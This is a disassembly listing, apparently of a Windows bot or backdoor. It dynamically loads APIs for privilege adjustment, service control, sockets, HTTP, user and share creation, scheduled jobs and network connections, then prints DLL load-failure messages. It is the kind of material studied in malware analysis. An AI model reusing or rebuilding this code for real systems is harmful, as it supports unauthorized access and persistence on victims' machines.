		mov	dword_4357CC, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4357A8, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_435824, eax
		call	esi	; GetProcAddress
		cmp	dword_435910, ebx
		mov	dword_4358C4, eax
		jz	short loc_405A3C
		cmp	dword_435830, ebx
		jz	short loc_405A3C
		cmp	dword_4357CC, ebx
		jz	short loc_405A3C
		cmp	dword_4357A8, ebx
		jz	short loc_405A3C
		cmp	dword_435824, ebx
		jz	short loc_405A3C
		cmp	eax, ebx
		jnz	short loc_405A46


loc_405A3C:				; CODE XREF: sub_4057AC+26Aj
					; sub_4057AC+272j ...
		mov	dword_435948, 1


loc_405A46:				; CODE XREF: sub_4057AC+28Ej
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43591C, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_435904, eax
		call	esi	; GetProcAddress
		cmp	dword_43591C, ebx
		mov	dword_435850, eax
		jz	short loc_405A81
		cmp	dword_435904, ebx
		jz	short loc_405A81
		cmp	eax, ebx
		jnz	short loc_405A8B


loc_405A81:				; CODE XREF: sub_4057AC+2C7j
					; sub_4057AC+2CFj
		mov	dword_435948, 1


loc_405A8B:				; CODE XREF: sub_4057AC+2D3j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4358A4, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_435920, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4358AC, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4358C8, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4357DC, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_435818, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4358B4, eax
		call	esi	; GetProcAddress
		cmp	dword_4358A4, ebx
		mov	dword_4358E0, eax
		jz	short loc_405B2F
		cmp	dword_435920, ebx
		jz	short loc_405B2F
		cmp	dword_4358AC, ebx
		jz	short loc_405B2F
		cmp	dword_4358C8, ebx
		jz	short loc_405B2F
		cmp	dword_4357DC, ebx
		jz	short loc_405B2F
		cmp	dword_435818, ebx
		jz	short loc_405B2F
		cmp	dword_4358B4, ebx
		jz	short loc_405B2F
		cmp	eax, ebx
		jnz	short loc_405B39


loc_405B2F:				; CODE XREF: sub_4057AC+34Dj
					; sub_4057AC+355j ...
		mov	dword_435948, 1


loc_405B39:				; CODE XREF: sub_4057AC+381j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_435878, eax
		jnz	short loc_405B61
		jmp	short loc_405B57
; ---------------------------------------------------------------------------


loc_405B4C:				; CODE XREF: sub_4057AC+210j
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_43594C, eax


loc_405B57:				; CODE XREF: sub_4057AC+39Ej
		mov	dword_435948, 1


loc_405B61:				; CODE XREF: sub_4057AC+39Cj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_405C2D
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_435924, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4358F8, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_435860, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_435858, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43589C, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_435784, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_435870, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_435814, eax
		call	esi	; GetProcAddress
		cmp	dword_435924, ebx
		mov	dword_435864, eax
		jz	short loc_405C38
		cmp	dword_4358F8, ebx
		jz	short loc_405C38
		cmp	dword_435860, ebx
		jz	short loc_405C38
		cmp	dword_435858, ebx
		jz	short loc_405C38
		cmp	dword_43589C, ebx
		jz	short loc_405C38
		cmp	dword_435784, ebx
		jz	short loc_405C38
		cmp	dword_435870, ebx
		jz	short loc_405C38
		cmp	dword_435814, ebx
		jz	short loc_405C38
		cmp	eax, ebx
		jnz	short loc_405C42
		jmp	short loc_405C38
; ---------------------------------------------------------------------------


loc_405C2D:				; CODE XREF: sub_4057AC+3C0j
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_435954, eax


loc_405C38:				; CODE XREF: sub_4057AC+441j
					; sub_4057AC+449j ...
		mov	dword_435950, 1


loc_405C42:				; CODE XREF: sub_4057AC+47Dj
		mov	ebp, ds:dword_420088
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_405EFE
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4357F8, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43576C, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_435874, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43583C, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4358BC, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4358A0, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_435900, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4357E8, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43578C, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4357A0, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_435868, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43585C, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_435934, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43590C, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4358DC, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_4358B8, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43587C, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4357B8, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43575C, eax
		call	esi	; GetProcAddress
		mov	dword_435780, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4358C0, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_43588C, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_435908, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4357AC, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_435804, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_435760, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4358FC, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_435848, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4358D8, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_435828, eax
		call	esi	; GetProcAddress
		cmp	dword_4357F8, ebx
		mov	dword_4358F4, eax
		jz	loc_405F09
		cmp	dword_43576C, ebx
		jz	loc_405F09
		cmp	dword_435874, ebx
		jz	loc_405F09
		cmp	dword_4358BC, ebx
		jz	loc_405F09
		cmp	dword_4358A0, ebx
		jz	loc_405F09
		cmp	dword_435900, ebx
		jz	loc_405F09
		cmp	dword_4357E8, ebx
		jz	loc_405F09
		cmp	dword_43578C, ebx
		jz	loc_405F09
		cmp	dword_4357A0, ebx
		jz	loc_405F09
		cmp	dword_435868, ebx
		jz	loc_405F09
		cmp	dword_43585C, ebx
		jz	loc_405F09
		cmp	dword_435934, ebx
		jz	loc_405F09
		cmp	dword_43590C, ebx
		jz	loc_405F09
		cmp	dword_4358DC, ebx
		jz	short loc_405F09
		cmp	dword_43587C, ebx
		jz	short loc_405F09
		cmp	dword_4357B8, ebx
		jz	short loc_405F09
		cmp	dword_43575C, ebx
		jz	short loc_405F09
		cmp	dword_435780, ebx
		jz	short loc_405F09
		cmp	dword_4358C0, ebx
		jz	short loc_405F09
		cmp	dword_43588C, ebx
		jz	short loc_405F09
		cmp	dword_435908, ebx
		jz	short loc_405F09
		cmp	dword_4357AC, ebx
		jz	short loc_405F09
		cmp	dword_435804, ebx
		jz	short loc_405F09
		cmp	dword_435760, ebx
		jz	short loc_405F09
		cmp	dword_4358FC, ebx
		jz	short loc_405F09
		cmp	dword_435848, ebx
		jz	short loc_405F09
		cmp	dword_4358D8, ebx
		jz	short loc_405F09
		cmp	eax, ebx
		jnz	short loc_405F13
		jmp	short loc_405F09
; ---------------------------------------------------------------------------


loc_405EFE:				; CODE XREF: sub_4057AC+4A7j
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_43595C, eax


loc_405F09:				; CODE XREF: sub_4057AC+646j
					; sub_4057AC+652j ...
		mov	dword_435958, 1


loc_405F13:				; CODE XREF: sub_4057AC+74Ej
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406018
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_435770, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_435930, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_435810, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_43592C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_43581C, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_435790, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4357F0, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_435768, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_435894, eax
		call	esi	; GetProcAddress
		cmp	dword_435770, ebx
		mov	ecx, dword_435790
		mov	dword_435844, eax
		jz	short loc_405FF4
		cmp	dword_435930, ebx
		jz	short loc_405FF4
		cmp	dword_435810, ebx
		jz	short loc_405FF4
		cmp	dword_43592C, ebx
		jz	short loc_405FF4
		cmp	dword_43581C, ebx
		jz	short loc_405FF4
		cmp	ecx, ebx
		jz	short loc_405FF4
		cmp	dword_4357F0, ebx
		jz	short loc_405FF4
		cmp	dword_435768, ebx
		jz	short loc_405FF4
		cmp	dword_435894, ebx
		jz	short loc_405FF4
		cmp	eax, ebx
		jnz	short loc_405FFE


loc_405FF4:				; CODE XREF: sub_4057AC+806j
					; sub_4057AC+80Ej ...
		mov	dword_435960, 1


loc_405FFE:				; CODE XREF: sub_4057AC+846j
		cmp	ecx, ebx
		jz	short loc_406033
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_435928, eax
		jnz	short loc_406033
		jmp	short loc_40602D
; ---------------------------------------------------------------------------


loc_406018:				; CODE XREF: sub_4057AC+772j
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_435964, eax
		mov	dword_435960, 1


loc_40602D:				; CODE XREF: sub_4057AC+86Aj
		mov	dword_435928, ebx


loc_406033:				; CODE XREF: sub_4057AC+854j
					; sub_4057AC+868j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40607D
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_435838, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_43586C, eax
		call	esi	; GetProcAddress
		cmp	dword_435838, ebx
		mov	dword_4358D0, eax
		jz	short loc_406088
		cmp	dword_43586C, ebx
		jz	short loc_406088
		cmp	eax, ebx
		jnz	short loc_406092
		jmp	short loc_406088
; ---------------------------------------------------------------------------


loc_40607D:				; CODE XREF: sub_4057AC+892j
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_43596C, eax


loc_406088:				; CODE XREF: sub_4057AC+8C1j
					; sub_4057AC+8C9j ...
		mov	dword_435968, 1


loc_406092:				; CODE XREF: sub_4057AC+8CDj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_406188
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4357D0, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4357EC, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4358E8, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_43579C, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_435820, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_435764, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4357B4, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4358B0, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4357C8, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4357D4, eax
		call	esi	; GetProcAddress
		cmp	dword_4357D0, ebx
		mov	dword_4357FC, eax
		jz	short loc_406193
		cmp	dword_4357EC, ebx
		jz	short loc_406193
		cmp	dword_4358E8, ebx
		jz	short loc_406193
		cmp	dword_43579C, ebx
		jz	short loc_406193
		cmp	dword_435820, ebx
		jz	short loc_406193
		cmp	dword_435764, ebx
		jz	short loc_406193
		cmp	dword_4357B4, ebx
		jz	short loc_406193
		cmp	dword_4358B0, ebx
		jz	short loc_406193
		cmp	dword_4357C8, ebx
		jz	short loc_406193
		cmp	dword_4357D4, ebx
		jz	short loc_406193
		cmp	eax, ebx
		jnz	short loc_40619D
		jmp	short loc_406193
; ---------------------------------------------------------------------------


loc_406188:				; CODE XREF: sub_4057AC+8F1j
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_435974, eax


loc_406193:				; CODE XREF: sub_4057AC+98Cj
					; sub_4057AC+994j ...
		mov	dword_435970, 1


loc_40619D:				; CODE XREF: sub_4057AC+9D8j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4061D2
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4358CC, eax
		call	esi	; GetProcAddress
		cmp	dword_4358CC, ebx
		mov	dword_43584C, eax
		jz	short loc_4061DD
		cmp	eax, ebx
		jnz	short loc_4061E7
		jmp	short loc_4061DD
; ---------------------------------------------------------------------------


loc_4061D2:				; CODE XREF: sub_4057AC+9FCj
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_43597C, eax


loc_4061DD:				; CODE XREF: sub_4057AC+A1Ej
					; sub_4057AC+A24j
		mov	dword_435978, 1


loc_4061E7:				; CODE XREF: sub_4057AC+A22j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40621C
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4357F4, eax
		call	esi	; GetProcAddress
		cmp	dword_4357F4, ebx
		mov	dword_435854, eax
		jz	short loc_406227
		cmp	eax, ebx
		jnz	short loc_406231
		jmp	short loc_406227
; ---------------------------------------------------------------------------


loc_40621C:				; CODE XREF: sub_4057AC+A46j
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_435984, eax


loc_406227:				; CODE XREF: sub_4057AC+A68j
					; sub_4057AC+A6Ej
		mov	dword_435980, 1


loc_406231:				; CODE XREF: sub_4057AC+A6Cj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406290
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_435888, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_435918, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4357C4, eax
		call	esi	; GetProcAddress
		cmp	dword_435888, ebx
		mov	dword_435788, eax
		jz	short loc_40629B
		cmp	dword_435918, ebx
		jz	short loc_40629B
		cmp	dword_4357C4, ebx
		jz	short loc_40629B
		cmp	eax, ebx
		jnz	short loc_4062A5
		jmp	short loc_40629B
; ---------------------------------------------------------------------------


loc_406290:				; CODE XREF: sub_4057AC+A90j
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_43598C, eax


loc_40629B:				; CODE XREF: sub_4057AC+ACCj
					; sub_4057AC+AD4j ...
		mov	dword_435988, 1


loc_4062A5:				; CODE XREF: sub_4057AC+AE0j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4062DA
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4358F0, eax
		call	esi	; GetProcAddress
		cmp	dword_4358F0, ebx
		mov	dword_4357BC, eax
		jz	short loc_4062E5
		cmp	eax, ebx
		jnz	short loc_4062EF
		jmp	short loc_4062E5
; ---------------------------------------------------------------------------


loc_4062DA:				; CODE XREF: sub_4057AC+B04j
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_435994, eax


loc_4062E5:				; CODE XREF: sub_4057AC+B26j
					; sub_4057AC+B2Cj
		mov	dword_435990, 1


loc_4062EF:				; CODE XREF: sub_4057AC+B2Aj
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406378
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4358D4, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4357A4, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4358EC, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_43580C, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_435898, eax
		call	esi	; GetProcAddress
		cmp	dword_4358D4, ebx
		mov	dword_4357B0, eax
		jz	short loc_406383
		cmp	dword_4357A4, ebx
		jz	short loc_406383
		cmp	dword_4358EC, ebx
		jz	short loc_406383
		cmp	dword_43580C, ebx
		jz	short loc_406383
		cmp	dword_435898, ebx
		jz	short loc_406383
		cmp	eax, ebx
		jnz	short loc_40638D
		jmp	short loc_406383
; ---------------------------------------------------------------------------


loc_406378:				; CODE XREF: sub_4057AC+B4Ej
		call	ds:dword_420008	; RtlGetLastWin32Error
		mov	dword_43599C, eax


loc_406383:				; CODE XREF: sub_4057AC+BA4j
					; sub_4057AC+BACj ...
		mov	dword_435998, 1


loc_40638D:				; CODE XREF: sub_4057AC+BC8j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		inc	eax
		pop	ebx
		retn
sub_4057AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406395	proc near		; CODE XREF: sub_408A18+46B7p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_435938, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4063DD
		push	dword_43593C
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_4063DD:				; CODE XREF: sub_406395+1Aj
		cmp	dword_435940, esi
		jz	short loc_406411
		push	dword_435944
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_406411:				; CODE XREF: sub_406395+4Ej
		cmp	dword_435948, esi
		jz	short loc_406445
		push	dword_43594C
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_406445:				; CODE XREF: sub_406395+82j
		cmp	dword_435950, esi
		jz	short loc_406479
		push	dword_435954
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_406479:				; CODE XREF: sub_406395+B6j
		cmp	dword_435958, esi
		jz	short loc_4064AD
		push	dword_43595C
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_4064AD:				; CODE XREF: sub_406395+EAj
		cmp	dword_435960, esi
		jz	short loc_4064E1
		push	dword_435964
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_4064E1:				; CODE XREF: sub_406395+11Ej
		cmp	dword_435968, esi
		jz	short loc_406515
		push	dword_43596C
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_406515:				; CODE XREF: sub_406395+152j
		cmp	dword_435970, esi
		jz	short loc_406549
		push	dword_435974
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_406549:				; CODE XREF: sub_406395+186j
		cmp	dword_435978, esi
		jz	short loc_40657D
		push	dword_43597C
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_40657D:				; CODE XREF: sub_406395+1BAj
		cmp	dword_435980, esi
		jz	short loc_4065B1
		push	dword_435984
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_4065B1:				; CODE XREF: sub_406395+1EEj
		cmp	dword_435988, esi
		jz	short loc_4065E5
		push	dword_43598C
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_4065E5:				; CODE XREF: sub_406395+222j
		cmp	dword_435990, esi
		jz	short loc_406619
		push	dword_435994
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_406619:				; CODE XREF: sub_406395+256j
		cmp	dword_435998, esi
		jz	short loc_40664D
		push	dword_43599C
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_4145E5
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 20h


loc_40664D:				; CODE XREF: sub_406395+28Aj
		lea	eax, [ebp+var_200]
		push	offset aMainDllTestCom ; "[MAIN]: DLL test complete."
		push	eax
		call	sub_4145E5
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40667A
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_4056FB
		add	esp, 14h


loc_40667A:				; CODE XREF: sub_406395+2CEj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_401EFF
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406395	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40668C	proc near		; CODE XREF: sub_408A18+A5Ep
					; sub_408A18+A91p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
